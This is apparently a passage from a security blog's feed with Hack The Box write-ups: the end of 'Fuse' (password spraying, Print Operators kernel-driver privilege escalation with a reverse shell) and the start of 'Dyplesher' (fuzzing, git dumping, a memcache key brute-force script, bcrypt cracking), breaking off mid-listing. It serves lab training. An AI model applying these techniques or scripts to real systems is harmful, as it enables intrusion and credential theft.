&lt;p&gt;Based on the printer job information, we can assume that the following usernames are present on the domain/machine:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;pmerton&lt;/li&gt;
  &lt;li&gt;tlavel&lt;/li&gt;
  &lt;li&gt;sthompson&lt;/li&gt;
  &lt;li&gt;bhult&lt;/li&gt;
  &lt;li&gt;bnielson (From New Starter - bnielson.txt)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For passwords, we’ll build a wordlist with the words found on from the papercut website. Here’s the small wordlist I built:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;backup_tapes
bnielson
Budget
Fabricorp01
IT
Meeting
mega_mountain_tape_request
Minutes
New
Notepad
offsite_dr_invocation
printing_issue_test
Starter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using &lt;strong&gt;crackmapexec&lt;/strong&gt; we’ll password spray those passwords and we find 3 accounts with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fabricorp01&lt;/code&gt; password but it’s expired as we can see from the server response: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STATUS_PASSWORD_MUST_CHANGE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613211345368.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;finding-the-printer-service-account-credentials&quot;&gt;Finding the printer service account credentials&lt;/h2&gt;

&lt;p&gt;Using &lt;strong&gt;smbpasswd&lt;/strong&gt; we can reset the user’s password, and then after poking around for a while with &lt;strong&gt;rpcclient&lt;/strong&gt; we find that the printer has a description with the password.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613211912843.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can get the list of users with &lt;strong&gt;rpcclient&lt;/strong&gt; and we see that there is an &lt;strong&gt;svc-print&lt;/strong&gt; account so this is probably the account that uses the password we found earlier.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613212151259.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yup, this is our user. We can get a shell now with WinRM.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613212328325.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;svc-print&lt;/strong&gt; user is a member of &lt;strong&gt;Print Operators&lt;/strong&gt;. This is very dangerous since members of this group can load Kernel Drivers and get code execution with SYSTEM privileges.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613213352780.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613213519478.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s a nice blog post from Tarlogic that explains how to perform privilege escalation by loading drivers: &lt;a href=&quot;https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/&quot;&gt;https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We need the following in order to privesc:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A way to load the kernel driver from our shell. We can use the following PoC: &lt;a href=&quot;https://github.com/TarlogicSecurity/EoPLoadDriver/&quot;&gt;https://github.com/TarlogicSecurity/EoPLoadDriver/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The Capcom signed driver that contains the rootkit: &lt;a href=&quot;https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys&quot;&gt;https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The Capcom rootkit PoC that will let us execute code with the driver: &lt;a href=&quot;https://github.com/tandasat/ExploitCapcom&quot;&gt;https://github.com/tandasat/ExploitCapcom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The kernel driver loader doesn’t need any need modification and can be compiled as-is.&lt;/p&gt;

&lt;p&gt;I modified the capcom exploit to run &lt;a href=&quot;https://github.com/xct/xc&quot;&gt;xc&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613220144218.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613220610515.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ll first load the Capcom driver:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613220725179.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then run the Capcom exploit, which will trigger code execution in the driver:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613220831186.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Our xc reverse shell gets executed and we can finally get the last flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613220855458.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="password spray" /><category term="crackmapexec" /><category term="smbpasswd" /><category term="print operators" /><category term="capcom" /><summary type="html">To solve Fuse, we'll do some enumeration to gather potential usernames from the print jobs information then build a password list from the strings on the website. After successfully password spraying, we'll reset the expired password to a new one then use rpcclient to identify a printer service account and find its password in a description field. To priv esc, we'll use the ability of our user with Printer Operators right to load a malicous kernel driver and get SYSTEM.</summary></entry><entry><title type="html">Dyplesher - Hack The Box</title><link href="https://snowscan.io/htb-writeup-dyplesher/" rel="alternate" type="text/html" title="Dyplesher - Hack The Box" /><published>2020-10-24T00:00:00+00:00</published><updated>2020-10-24T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-dyplesher</id><content type="html" xml:base="https://snowscan.io/htb-writeup-dyplesher/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/dyplesher_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dyplesher was a pretty tough box that took me more than 10 hours to get to the user flag. There’s quite a bit of enumeration required to get to the git repo and then find memcached credentials from the source code. I couldn’t use the memcache module from Metasploit here since it doesn’t support credentials so I wrote my own memcache enumeration script. We then make our way to more creds in Gogs, then craft a malicious Minecraft plugin to get RCE. To get to the first flag we’ll sniff AMQP creds from the loopback interface. To priv esc, we send messages on the RabbitMQ bug and get the server to download and execute a lua script (Cubberite plugin).&lt;/p&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ sudo nmap -sT -p- 10.10.10.190
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-23 20:59 EDT
Nmap scan report for dyplesher.htb (10.10.10.190)
Host is up (0.019s latency).
Not shown: 65525 filtered ports
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
3000/tcp  open   ppp
4369/tcp  open   epmd
5672/tcp  open   amqp
11211/tcp open   memcache
25562/tcp open   unknown
25565/tcp open   minecraft
25672/tcp open   unknown
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;website&quot;&gt;Website&lt;/h2&gt;

&lt;p&gt;On the website we have a couple of non-functional links like &lt;strong&gt;Forums&lt;/strong&gt; and &lt;strong&gt;Store&lt;/strong&gt;. The &lt;strong&gt;Staff&lt;/strong&gt; link goes to another static page with a list of staff users.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524104320814.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524104356684.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dirbusting shows a few interesting links: &lt;strong&gt;login&lt;/strong&gt;, &lt;strong&gt;register&lt;/strong&gt; and &lt;strong&gt;home&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ ffuf -w $WLRD -t 50 -u http://dyplesher.htb/FUZZ
________________________________________________

css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10]
login                   [Status: 200, Size: 4188, Words: 1222, Lines: 84]
register                [Status: 302, Size: 350, Words: 60, Lines: 12]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10]
home                    [Status: 302, Size: 350, Words: 60, Lines: 12]
fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10]
staff                   [Status: 200, Size: 4389, Words: 1534, Lines: 103]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The login and register URL show a login page. We can try a few default creds but we’re not able to get in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524105136663.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Gobusting the home directory shows a couple of other directories, all of which we can’t reach because we are redirected to the login page.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ ffuf -w $WLRW -t 50 -u http://dyplesher.htb/home/FUZZ
________________________________________________

add                     [Status: 302, Size: 350, Words: 60, Lines: 12]
.                       [Status: 301, Size: 312, Words: 20, Lines: 10]
delete                  [Status: 302, Size: 350, Words: 60, Lines: 12]
reset                   [Status: 302, Size: 350, Words: 60, Lines: 12]
console                 [Status: 302, Size: 350, Words: 60, Lines: 12]
players                 [Status: 302, Size: 350, Words: 60, Lines: 12]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;gogs-website&quot;&gt;Gogs website&lt;/h2&gt;

&lt;p&gt;There’s a Gogs instance running on port 3000. Gogs is a self-hosted Git service so there’s a good chance we’ll have to find the source code of an application on there.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524105548752.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see the same list of 3 users we saw on the Staff page but there are no public repositories accessible from our unauthenticated user.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524105743919.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When dirbusting the site we find a &lt;strong&gt;debug&lt;/strong&gt; directory which contains the pprof profiler. I looked around and it didn’t seem to be useful for anything.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ ffuf -w $WLDC -t 50 -u http://dyplesher.htb:3000/FUZZ
________________________________________________

                        [Status: 200, Size: 7851, Words: 456, Lines: 252]
admin                   [Status: 302, Size: 34, Words: 2, Lines: 3]
assets                  [Status: 302, Size: 31, Words: 2, Lines: 3]
avatars                 [Status: 302, Size: 32, Words: 2, Lines: 3]
css                     [Status: 302, Size: 28, Words: 2, Lines: 3]
debug                   [Status: 200, Size: 160, Words: 18, Lines: 5]
explore                 [Status: 302, Size: 37, Words: 2, Lines: 3]
img                     [Status: 302, Size: 28, Words: 2, Lines: 3]
issues                  [Status: 302, Size: 34, Words: 2, Lines: 3]
js                      [Status: 302, Size: 27, Words: 2, Lines: 3]
plugins                 [Status: 302, Size: 32, Words: 2, Lines: 3]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;vhost-fuzzing&quot;&gt;Vhost fuzzing&lt;/h2&gt;

&lt;p&gt;We haven’t found much yet so we’ll try fuzzing vhosts next and we find a &lt;strong&gt;test.dyplesher.htb&lt;/strong&gt; vhost.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ ffuf -w ~/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 -H &quot;Host: FUZZ.dyplesher.htb&quot; -u http://dyplesher.htb -fr &quot;Worst Minecraft Server&quot;
________________________________________________

test                    [Status: 200, Size: 239, Words: 16, Lines: 15]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s a memcache test interface running on the vhost where we can add key/values to the memcache instance running on port 11211. There doesn’t seem to be any vulnerability that I can see on this page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524110832067.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When dirbusting we find a git repository, then we can use git-dumper to copy it to our local machine.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ ffuf -w $WLDC -t 50 -u http://test.dyplesher.htb/FUZZ
________________________________________________

index.php               [Status: 200, Size: 239, Words: 16, Lines: 15]
                        [Status: 200, Size: 239, Words: 16, Lines: 15]
.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2]
.htpasswd               [Status: 403, Size: 283, Words: 20, Lines: 10]
.hta                    [Status: 403, Size: 283, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 283, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 283, Words: 20, Lines: 10]

snowscan@kali:~/htb/dyplesher/git$ ~/tools/git-dumper/git-dumper.py http://test.dyplesher.htb .
[-] Testing http://test.dyplesher.htb/.git/HEAD [200]
[-] Testing http://test.dyplesher.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://test.dyplesher.htb/.gitignore [404]
[-] Fetching http://test.dyplesher.htb/.git/description [200]
[-] Fetching http://test.dyplesher.htb/.git/COMMIT_EDITMSG [200]
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Inside, we find the source code of the memcache test application, along with the memcache credentials: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;felamos / zxcvbnm&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'add'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'val'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]){&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Memcached&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setOption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Memcached&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;OPT_BINARY_PROTOCOL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setSaslAuthData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;felamos&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;zxcvbnm&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;addServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'127.0.0.1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11211&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'add'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'val'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Done!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;its equal&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;memcache-enumeration&quot;&gt;Memcache enumeration&lt;/h2&gt;

&lt;p&gt;We don’t have the list of memcache keys but we can write a script that will brute force them and return the values.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python3
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;bmemcached&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pprint&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pprint&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bmemcached&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'10.10.10.190:11211'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'felamos'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'zxcvbnm'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/usr/share/seclists/Discovery/Variables/secret-keywords.txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readlines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()]:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'None'&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        	&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The memcache instance contains some email addresses, usernames and password hashes that we will try to crack.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ ./brute_keys.py 
email: MinatoTW@dyplesher.htb
felamos@dyplesher.htb
yuntao@dyplesher.htb

password: $2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS

username: MinatoTW
felamos
yuntao
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’re able to crack the password for user felamos: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mommy1&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ john -w=/usr/share/wordlists/rockyou.txt memcache-hashes.txt 
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mommy1           (?)

snowscan@kali:~/htb/dyplesher$ cat ~/.john/john.pot 
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK:mommy1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;getting-access-to-the-gogs-repository&quot;&gt;Getting access to the Gogs repository&lt;/h2&gt;

&lt;p&gt;We’re able to log into the Gogs instance with Felamos’ credentials. There’s two repositories available: &lt;strong&gt;gitlab&lt;/strong&gt; and &lt;strong&gt;memcached&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524112126061.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The memcached repo contains the same information we got earlier from the .git directory on the test.dyplesher.htb website. However the gitlab repo contains a zipped backup of the repositories.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524112259332.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After unzipping the file, we get a bunch of directories with .bundle files. These are essentially a full repository in single file.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ ls -laR repositories/
repositories/:
total 12
[...]
repositories/@hashed/4b/22:
total 24
drwxr-xr-x 3 snowscan snowscan  4096 Sep  7  2019 .
drwxr-xr-x 3 snowscan snowscan  4096 Sep  7  2019 ..
drwxr-xr-x 2 snowscan snowscan  4096 Sep  7  2019 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a
-rw-r--r-- 1 snowscan snowscan 10837 Sep  7  2019 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can use the git clone command to extract the repository files from those bundle files. There are 4 repositories inside the backup file:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;VoteListener&lt;/li&gt;
  &lt;li&gt;MineCraft server&lt;/li&gt;
  &lt;li&gt;PhpBash&lt;/li&gt;
  &lt;li&gt;NightMiner&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher/git-backup$ ls -la
total 28
drwxr-xr-x 7 snowscan snowscan 4096 May 23 16:55 .
drwxr-xr-x 6 snowscan snowscan 4096 May 24 11:26 ..
drwxr-xr-x 4 snowscan snowscan 4096 May 23 15:44 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a
